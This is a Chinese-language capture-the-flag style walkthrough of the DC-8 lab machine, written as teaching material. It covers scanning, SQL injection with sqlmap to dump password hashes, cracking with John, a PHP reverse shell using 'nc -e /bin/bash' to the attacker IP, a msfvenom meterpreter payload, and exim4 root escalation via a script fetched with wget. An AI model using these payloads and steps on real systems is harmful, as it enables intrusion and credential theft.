文章目录
DC-8靶机渗透测试
1. 信息收集
1.1 主机扫描
nmap -sP 192.168.188.0/24
1.2 端口扫描
nmap -A -p- 192.168.188.178
发现DC-8开启的22端口和80端口。
扫描方式有很多种,还可以使用Masscan来进行扫描
masscan -p1-65535,U:1-65535 192.168.188.178 --rate=1000
命令解析:
masscan
:这是一个开源的端口扫描工具,用于快速扫描目标主机上的开放端口。Masscan使用教程。-p1-65535,U:1-65535
:这个选项指定了要扫描的端口范围。其中1-65535
表示扫描 TCP 端口 1 到 65535,而U:1-65535
表示扫描 UDP 端口 1 到 65535。通过同时扫描 TCP 和 UDP 端口,可以获取更全面的信息。192.168.188.178
:这是目标主机的 IP 地址,指定了要进行端口扫描的目标。--rate=1000
:这个选项指定了扫描的速率,即每秒钟发送的扫描请求数量。在这个命令中,扫描速率被设置为每秒发送 1000 个请求。
1.3 目录扫描
gobuster工具
gobuster dir -u http://192.168.188.178 -t 50 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,html,zip,html
这里使用的是seclists字典。
seclists字典下载命令:
apt-get install seclists
字典位置:
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
。
网站指纹识别
whatweb http://192.168.188.178
dirsearch工具
dirsearch -u 192.168.188.178 -e * -i 200
访问Web页面
2. 漏洞发现
点击页面发现每点击一个链接,地址栏的?nid=
后面的数字就会变。
在路径上的数字后面加一个**'
**引号,页面显示报错信息,发现该漏洞为SQL注入漏洞。
3. 漏洞利用
3.1 sqlmap
查看当前数据库
sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 --dbs
查看指定数据库中的所有表
sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 -D d7db --tables
查看表中所有的字段
sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 -D d7db -T users --columns
查看用户名与密码
sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 -D d7db -T users -C name,pass --dump
3.2 密码爆破
将这两个密码复制在一个pass文件中然后进行密码爆破
vim pass.txt
使用John来进行密码爆破
john pass.txt
使用爆破出来的密码进行ssh远程登录
发现ssh远程登录失败,发现需要使用公私钥登录
在之前目录爆破的时候爆破出来了user/login目录。
使用admin用户进行登录,发现admin用户登录失败。
切换成john用户进行登录,登录成功。
在搜索页面的时候发现,页面中有一个可以上传php代码的地方。
3.3 反弹shell
方式一
编写反弹shell
<p>wuhu</p>
<?php
@exec("nc -e /bin/bash 192.168.188.157 5566");
?>
找到可以提交php代码的地方,写入代码。
kali中先监听5566端口
最后点击保存即可
反弹成功
python打开一个标准shell
python -c 'import pty;pty.spawn("/bin/bash")'
查看权限发现权限较低,进行提权。
方式二
使用msfvenom制作反弹shell脚本
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.188.157 lport=9999 R >php_shell.txt
这个命令是使用 Metasploit Framework 中的 msfvenom 工具生成一个 PHP Meterpreter 反向 TCP Shell 的 payload,并将生成的代码保存到 php_shell.txt
文件中。命令内容参数解析:
msfvenom
:这是 Metasploit Framework 中的一个工具,用于生成各种类型的恶意软件和渗透测试载荷。-p php/meterpreter/reverse_tcp
:这个选项指定生成的 payload 类型为 PHP Meterpreter 反向 TCP Shell。Meterpreter 是 Metasploit Framework 中的一种强大的后渗透工具,它允许攻击者在受感染的系统上执行各种操作。lhost=192.168.188.157
:这是指定反向连接的 IP 地址,也就是攻击者监听的 IP 地址。lport=9999
:这是指定反向连接的端口号,也就是攻击者监听的端口号。R
:这个选项指示生成的 payload 使用随机化的方式,增加其逃避安全软件检测的能力。> php_shell.txt
:这个操作符将生成的代码重定向到php_shell.txt
文件中,即将代码保存到该文件中。
综上所述,该命令使用 msfvenom 工具生成一个 PHP Meterpreter 反向 TCP Shell 的 payload。该 payload 将在攻击者指定的 IP 地址和端口上监听,并允许攻击者对受感染的系统进行远程控制。生成的 payload 代码被保存到名为 php_shell.txt
的文件中。
查看桌面上保存的shell脚本。
将php代码复制到网站中
在kali中设置msf选项,进行监听。
set payload php/meterpreter/reverse_tcp
set lost 192.168.188.157 # 指定监听连接的 IP 地址
set lport 9999 # 指定监听的端口号。
show options # 查看当前 payload 的可配置选项。
命令解析:
启动监听
页面提交代码
反弹成功,并设置python交互
python -c 'import pty;pty.spawn("/bin/bash")'
4. 提权
使用find命令查找具有sudo权限的命令。
find / -user root -perm -u=s 2>/dev/null
发现exim4在使用时具有root权限。
Exim 是一款开源的邮件传输代理(Mail Transfer Agent,MTA),用于在电子邮件服务器之间进行邮件交换和路由。它是一个高度灵活和可定制的软件。
查看exim4的版本
exim4 --version
使用searchsploit查找exim的漏洞
searchsploit exim
查找46996.sh的绝对路径
searchsploit -p linux/local/46996.sh
/usr/share/exploitdb/exploits/linux/local/46996.sh
复制一份将其保存在桌面上。
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
然后python在桌面上打开一个临时的HTTP服务,端口号是8888
python3 -m http.server 8888
在交互shell里使用wget命令下载到靶机的tmp目录中
wget http://192.168.188.157:8888/46996.sh
给该脚本文件赋予执行权限。
chmod 777 46996.sh
查看46996.sh的用法。
cat 46996.sh
使用第二种进行提权
./46996.sh -m netcat
查找flag
cd /root
ls